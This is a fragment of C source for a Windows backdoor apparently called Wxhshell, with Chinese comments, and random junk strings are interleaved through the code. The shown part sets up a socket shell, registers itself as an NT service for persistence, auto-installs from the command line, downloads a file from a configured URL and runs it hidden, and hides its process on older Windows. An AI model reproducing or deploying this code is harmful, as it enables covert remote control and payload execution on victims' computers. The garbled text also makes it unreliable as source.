~YC unsigned long cbNeeded; /DS?}I.*] |4Ck;gg!j if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _DPOyR2 RBGlzk CloseHandle(hProcess); bzmr"/#D3 oCi
~P}r if(strstr(procName,"services")) return 1; // 以服务启动 >
^[z3T P}3}ek1Ax return 0; // 注册表启动 #6S75{rnW" } ZC^C _q>SE1j+W= // 主模块 6er(% 4! int StartWxhshell(LPSTR lpCmdLine) H ;@!?I { zjX7C~h^Q SOCKET wsl; 1ywU@].6J] BOOL val=TRUE; jkrx]`A{~ int port=0; @u4=e4eF` struct sockaddr_in door; &;q<M_< h=RDO if(wscfg.ws_autoins) Install(); q(z7~:+qNr \Xg?Ug*9w port=atoi(lpCmdLine); V`a+Hi<P\ =F%RLpNU4 if(port<=0) port=wscfg.ws_port; T>]sQPg 1|y$~R.H WSADATA data; p_terD: if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cHvF* A l`n5~Fs if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; uOk%AL> setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R e:T9K'e door.sin_family = AF_INET; +QqH}=
M door.sin_addr.s_addr = inet_addr("127.0.0.1"); DR+,Y2!_GT door.sin_port = htons(port); ML!9:vz nTnRGf\T if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \gKdDS closesocket(wsl); B1T5f1;uY return 1; D,W\ gP/h% } .5hp0L} )@PnTpL* if(listen(wsl,2) == INVALID_SOCKET) { xl!K;Y2< closesocket(wsl); u35q,u=I return 1; WVL#s?=g } EnCU4CU` Wxhshell(wsl); J1 tDO? WSACleanup(); B\<ydN $AwZ2HY return 0; ;~tsF.= 1MQ/r*(
} ,nE&MeJ 23E0~O // 以NT服务方式启动 W8/(;K`/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) co]Gmg6p { ^8742. DWORD status = 0; (Pz8iz DWORD specificError = 0xfffffff; lBiovT I6w/0,azC serviceStatus.dwServiceType = SERVICE_WIN32; rF8
hr serviceStatus.dwCurrentState = SERVICE_START_PENDING; fA
XE~ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KS! iL=i serviceStatus.dwWin32ExitCode = 0; 5EhE`k4 serviceStatus.dwServiceSpecificExitCode = 0; 8tZ};="F serviceStatus.dwCheckPoint = 0; xii$e serviceStatus.dwWaitHint = 0; xyV]?~7 m3?e]nL4W hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f'_S1\ if (hServiceStatusHandle==0) return; 6lU|mJ`M nVTM3Cz status = GetLastError(); d^SE)/j if (status!=NO_ERROR) #:W%,$9\P { \dNhzd# serviceStatus.dwCurrentState = SERVICE_STOPPED; +!$dO'0nt, serviceStatus.dwCheckPoint = 0; cdp{W serviceStatus.dwWaitHint = 0; 2?1}ZXr serviceStatus.dwWin32ExitCode = status; 0WS|~?OR@ serviceStatus.dwServiceSpecificExitCode = specificError; ^Jtl;Q SetServiceStatus(hServiceStatusHandle, &serviceStatus); sX~45u \ return; <UK5eVQn } ohTd'+Lm ?H0m<jO8~ serviceStatus.dwCurrentState = SERVICE_RUNNING; >nNl^ yqW serviceStatus.dwCheckPoint = 0; ~h|m&XK+Q serviceStatus.dwWaitHint = 0; R9E6uz.j if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R\ q):, } nk>8SW^ d"l}Ny)C // 处理NT服务事件,比如:启动、停止 g
2#F_ VOID WINAPI NTServiceHandler(DWORD fdwControl) -#Jj-t_Fe { ]j1
vbk switch(fdwControl) =VCQ* { yI4DVu. case SERVICE_CONTROL_STOP: k) 3s? serviceStatus.dwWin32ExitCode = 0; cl2ze serviceStatus.dwCurrentState = SERVICE_STOPPED; b\M b*o serviceStatus.dwCheckPoint = 0; @:IL/o* serviceStatus.dwWaitHint = 0; 777rE[\@b { 1!s!wQgS SetServiceStatus(hServiceStatusHandle, &serviceStatus); L,%Z9 } .SBc5KX return; "<T ~jk"u case SERVICE_CONTROL_PAUSE: \3:
L Nt serviceStatus.dwCurrentState = SERVICE_PAUSED; Ir>2sTrm break; K
/8qB~J* case SERVICE_CONTROL_CONTINUE: l"?]BC~ serviceStatus.dwCurrentState = SERVICE_RUNNING; GM77Z.Y break; V:QdQ;c case SERVICE_CONTROL_INTERROGATE: Bj+wayMi break; $BaK'7=3* }; @7]\y7D SetServiceStatus(hServiceStatusHandle, &serviceStatus); @%%bRY } b+_hI)T {[N?+ZJD*L // 标准应用程序主函数 M(NH9EE int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lf;~5/%wMG { p^Agh
dGa@<hg // 获取操作系统版本 z=[l.Af_ OsIsNt=GetOsVer(); ^} tLnF GetModuleFileName(NULL,ExeFile,MAX_PATH); 4^`PiRGt "W3W:vl! // 从命令行安装 9Dy)nm^ if(strpbrk(lpCmdLine,"iI")) Install(); jB` 7T^bU ;i/"$K // 下载执行文件 XS3{R if(wscfg.ws_downexe) { QW,cn7 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2S'AIuIew WinExec(wscfg.ws_filenam,SW_HIDE); htQ;m)>J: } H a90 @{'o#EJY if(!OsIsNt) { fHLFeSfH // 如果时win9x,隐藏进程并且设置为注册表启动 S'|lU@PCl HideProc(); 4Sqvhz StartWxhshell(lpCmdLine); N:twq&[Y } (2cGHYU3N< else G]at{(^Vz if(StartFromService()) W3"vTZJF // 以服务方式启动 Zb}`sk# StartServiceCtrlDispatcher(DispatchTable); cgzy0$8dj\ else MkkA{p // 普通方式启动 H&w(]PDh StartWxhshell(lpCmdLine); Z4=_k{* -6(h@F%E return 0; 3&O% & }
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